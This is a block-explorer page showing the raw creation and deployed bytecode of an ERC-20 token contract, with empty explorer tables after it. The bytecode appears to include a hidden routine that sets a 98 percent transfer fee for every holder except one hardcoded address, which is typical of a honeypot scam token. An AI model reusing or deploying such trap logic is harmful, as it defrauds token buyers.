55565b6008546001600160a01b0316156104ba5760405162461bcd60e51b81526020600482015260146024820152731c185a5c88185b1c9958591e4818dc99585d195960621b60448201526064016103ed565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105049030906104f56012600a61146e565b6103be9064e8d4a5100061147d565b6007546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa15801561054e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105729190611494565b9050806001600160a01b031663e6a4390530600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fb9190611494565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610646573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066a9190611494565b600880546001600160a01b0319166001600160a01b039290921691821790556107bf57600a80546001600160a01b03191673260d7c0c01d22a7da848b2aa86544d637e9a7497179055600754604080516315ab88c960e31b815290516001600160a01b038481169363c9c65396933093919092169163ad5c46489160048083019260209291908290030181865afa158015610709573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072d9190611494565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561077a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079e9190611494565b600880546001600160a01b0319166001600160a01b03929092169190911790555b50565b600033816107d0828661084b565b9050838110156108305760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103ed565b6103968286868403610b4d565b600033610371818585610ceb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146108a05760405162461bcd60e51b81526004016103ed90611355565b600554600160a01b900460ff16156108fa5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ed565b6007546001600160a01b031663f305d719473061092c816001600160a01b031660009081526001602052604090205490565b6000806109416000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109a9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109ce91906114b1565b505060085460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b91906114df565b506005805461ffff60a01b191661010160a01b179055565b6000546001600160a01b03163314610a8d5760405162461bcd60e51b81526004016103ed90611355565b6001600160a01b038116610af25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103ed565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610baf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ed565b6001600160a01b038216610c105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ed565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610c7d848461084b565b90506000198114610ce55781811015610cd85760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103ed565b610ce58484848403610b4d565b50505050565b6001600160a01b038316610d4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ed565b6001600160a01b038216610db15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ed565b600554600160a01b900460ff1680610dd157506001600160a01b03831630145b80610de457506001600160a01b03821630145b610e265760405162461bcd60e51b81526020600482015260136024820152722a3930b234b7339034b9903737ba1037b832b760691b60448201526064016103ed565b6001600160a01b03831660009081526001602052604090205481811015610e9e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103ed565b610ea88282611501565b6001600160a01b0380861660008181526001602052604081209390935560095483921614801590610ee257506001600160a01b0385163214155b15610eed5760045491505b610f026064610efc86856111b1565b906111c4565b610f0d906000611342565b90508015610fcf5761dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610f4c90826111d0565b610f5790600161147d565b61dead600081905260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d919091556040516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc69085815260200190565b60405180910390a35b6009546001600160a01b03878116911614801590610ffb57506009546001600160a01b03868116911614155b801561101257506009546001600160a01b03163214155b801561102c57506007546001600160a01b03868116911614155b801561104557506008546001600160a01b038781169116145b801561105c57506007546001600160a01b03163314155b8015611073575061dead6001600160a01b03861614155b156110f6576006546110858286611501565b6001600160a01b0387166000908152600160205260409020546110a89190611342565b11156110f65760405162461bcd60e51b815260206004820152601c60248201527f43616e6e6f7420657863656564206d617857616c6c657453697a652e0000000060448201526064016103ed565b61112d6111038286611501565b61110e906000611342565b6001600160a01b038716600090815260016020526040902054906111d0565b61113890600161147d565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111828488611501565b61118d906000611342565b60405190815260200160405180910390a36111a98686866111dc565b505050505050565b60006111bd828461147d565b9392505050565b60006111bd8284611514565b60006111bd8284611342565b600a546001600160a01b038381169116146111f85760006111fb565b60625b60ff16600455505050565b600060208083528351808285015260005b8181101561123357858101830151858201604001528201611217565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107bf57600080fd5b6000806040838503121561127c57600080fd5b823561128781611254565b946020939093013593505050565b6000806000606084860312156112aa57600080fd5b83356112b581611254565b925060208401356112c581611254565b929592945050506040919091013590565b6000602082840312156112e857600080fd5b81356111bd81611254565b6000806040838503121561130657600080fd5b823561131181611254565b9150602083013561132181611254565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b808201808211156103775761037761132c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181815b808511156113c55781600019048211156113ab576113ab61132c565b808516156113b857918102915b93841c939080029061138f565b509250929050565b6000826113dc57506001610377565b816113e957506000610377565b81600181146113ff576002811461140957611425565b6001915050610377565b60ff84111561141a5761141a61132c565b50506001821b610377565b5060208310610133831016604e8410600b8410161715611448575081810a610377565b611452838361138a565b80600019048211156114665761146661132c565b029392505050565b60006111bd60ff8416836113cd565b80820281158282048414176103775761037761132c565b6000602082840312156114a657600080fd5b81516111bd81611254565b6000806000606084860312156114c657600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114f157600080fd5b815180151581146111bd57600080fd5b818103818111156103775761037761132c565b60008261153157634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220f6b021e3c5cddf802d6284369dae03003a0c1a4c9916f656fc45ed457f28394b64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101025760003560e01c80638da5cb5b11610095578063a457c2d711610064578063a457c2d7146102ce578063a9059cbb146102ee578063dd62ed3e1461030e578063e8078d941461032e578063f2fde38b1461034357600080fd5b80638da5cb5b1461024c5780638f3fa8601461027457806395d89b411461028a5780639e78fb4f146102b957600080fd5b8063313ce567116100d1578063313ce567146101c357806339509351146101df57806370a08231146101ff578063715018a61461023557600080fd5b806306fdde031461010e578063095ea7b31461015457806318160ddd1461018457806323b872dd146101a357600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600b81526a043415445434f494e322e360ac1b60208201525b60405161014b9190611206565b60405180910390f35b34801561016057600080fd5b5061017461016f366004611269565b610363565b604051901515815260200161014b565b34801561019057600080fd5b506003545b60405190815260200161014b565b3480156101af57600080fd5b506101746101be366004611295565b61037d565b3480156101cf57600080fd5b506040516012815260200161014b565b3480156101eb57600080fd5b506101746101fa366004611269565b6103a1565b34801561020b57600080fd5b5061019561021a3660046112d6565b6001600160a01b031660009081526001602052604090205490565b34801561024157600080fd5b5061024a6103c3565b005b34801561025857600080fd5b506000546040516001600160a01b03909116815260200161014b565b34801561028057600080fd5b5061019560065481565b34801561029657600080fd5b506040805180820190915260068152650434154322e360d41b602082015261013e565b3480156102c557600080fd5b5061024a610440565b3480156102da57600080fd5b506101746102e9366004611269565b6107c2565b3480156102fa57600080fd5b50610174610309366004611269565b61083d565b34801561031a57600080fd5b506101956103293660046112f3565b61084b565b34801561033a57600080fd5b5061024a610876565b34801561034f57600080fd5b5061024a61035e3660046112d6565b610a63565b600033610371818585610b4d565b60019150505b92915050565b60003361038b858285610c71565b610396858585610ceb565b506001949350505050565b6000336103718185856103b4838361084b565b6103be9190611342565b610b4d565b6000546001600160a01b031633146103f65760405162461bcd60e51b81526004016103ed90611355565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461046a5760405162461bcd60e51b81526004016103ed90611355565b6008546001600160a01b0316156104ba5760405162461bcd60e51b81526020600482015260146024820152731c185a5c88185b1c9958591e4818dc99585d195960621b60448201526064016103ed565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105049030906104f56012600a61146e565b6103be9064e8d4a5100061147d565b6007546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa15801561054e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105729190611494565b9050806001600160a01b031663e6a4390530600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fb9190611494565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610646573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066a9190611494565b600880546001600160a01b0319166001600160a01b039290921691821790556107bf57600a80546001600160a01b03191673260d7c0c01d22a7da848b2aa86544d637e9a7497179055600754604080516315ab88c960e31b815290516001600160a01b038481169363c9c65396933093919092169163ad5c46489160048083019260209291908290030181865afa158015610709573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072d9190611494565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561077a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079e9190611494565b600880546001600160a01b0319166001600160a01b03929092169190911790555b50565b600033816107d0828661084b565b9050838110156108305760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103ed565b6103968286868403610b4d565b600033610371818585610ceb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146108a05760405162461bcd60e51b81526004016103ed90611355565b600554600160a01b900460ff16156108fa5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ed565b6007546001600160a01b031663f305d719473061092c816001600160a01b031660009081526001602052604090205490565b6000806109416000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109a9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109ce91906114b1565b505060085460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b91906114df565b506005805461ffff60a01b191661010160a01b179055565b6000546001600160a01b03163314610a8d5760405162461bcd60e51b81526004016103ed90611355565b6001600160a01b038116610af25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103ed565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610baf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ed565b6001600160a01b038216610c105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ed565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610c7d848461084b565b90506000198114610ce55781811015610cd85760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103ed565b610ce58484848403610b4d565b50505050565b6001600160a01b038316610d4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ed565b6001600160a01b038216610db15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ed565b600554600160a01b900460ff1680610dd157506001600160a01b03831630145b80610de457506001600160a01b03821630145b610e265760405162461bcd60e51b81526020600482015260136024820152722a3930b234b7339034b9903737ba1037b832b760691b60448201526064016103ed565b6001600160a01b03831660009081526001602052604090205481811015610e9e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103ed565b610ea88282611501565b6001600160a01b0380861660008181526001602052604081209390935560095483921614801590610ee257506001600160a01b0385163214155b15610eed5760045491505b610f026064610efc86856111b1565b906111c4565b610f0d906000611342565b90508015610fcf5761dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610f4c90826111d0565b610f5790600161147d565b61dead600081905260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d919091556040516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc69085815260200190565b60405180910390a35b6009546001600160a01b03878116911614801590610ffb57506009546001600160a01b03868116911614155b801561101257506009546001600160a01b03163214155b801561102c57506007546001600160a01b03868116911614155b801561104557506008546001600160a01b038781169116145b801561105c57506007546001600160a01b03163314155b8015611073575061dead6001600160a01b03861614155b156110f6576006546110858286611501565b6001600160a01b0387166000908152600160205260409020546110a89190611342565b11156110f65760405162461bcd60e51b815260206004820152601c60248201527f43616e6e6f7420657863656564206d617857616c6c657453697a652e0000000060448201526064016103ed565b61112d6111038286611501565b61110e906000611342565b6001600160a01b038716600090815260016020526040902054906111d0565b61113890600161147d565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111828488611501565b61118d906000611342565b60405190815260200160405180910390a36111a98686866111dc565b505050505050565b60006111bd828461147d565b9392505050565b60006111bd8284611514565b60006111bd8284611342565b600a546001600160a01b038381169116146111f85760006111fb565b60625b60ff16600455505050565b600060208083528351808285015260005b8181101561123357858101830151858201604001528201611217565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107bf57600080fd5b6000806040838503121561127c57600080fd5b823561128781611254565b946020939093013593505050565b6000806000606084860312156112aa57600080fd5b83356112b581611254565b925060208401356112c581611254565b929592945050506040919091013590565b6000602082840312156112e857600080fd5b81356111bd81611254565b6000806040838503121561130657600080fd5b823561131181611254565b9150602083013561132181611254565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b808201808211156103775761037761132c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181815b808511156113c55781600019048211156113ab576113ab61132c565b808516156113b857918102915b93841c939080029061138f565b509250929050565b6000826113dc57506001610377565b816113e957506000610377565b81600181146113ff576002811461140957611425565b6001915050610377565b60ff84111561141a5761141a61132c565b50506001821b610377565b5060208310610133831016604e8410600b8410161715611448575081810a610377565b611452838361138a565b80600019048211156114665761146661132c565b029392505050565b60006111bd60ff8416836113cd565b80820281158282048414176103775761037761132c565b6000602082840312156114a657600080fd5b81516111bd81611254565b6000806000606084860312156114c657600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114f157600080fd5b815180151581146111bd57600080fd5b818103818111156103775761037761132c565b60008261153157634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220f6b021e3c5cddf802d6284369dae03003a0c1a4c9916f656fc45ed457f28394b64736f6c63430008110033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.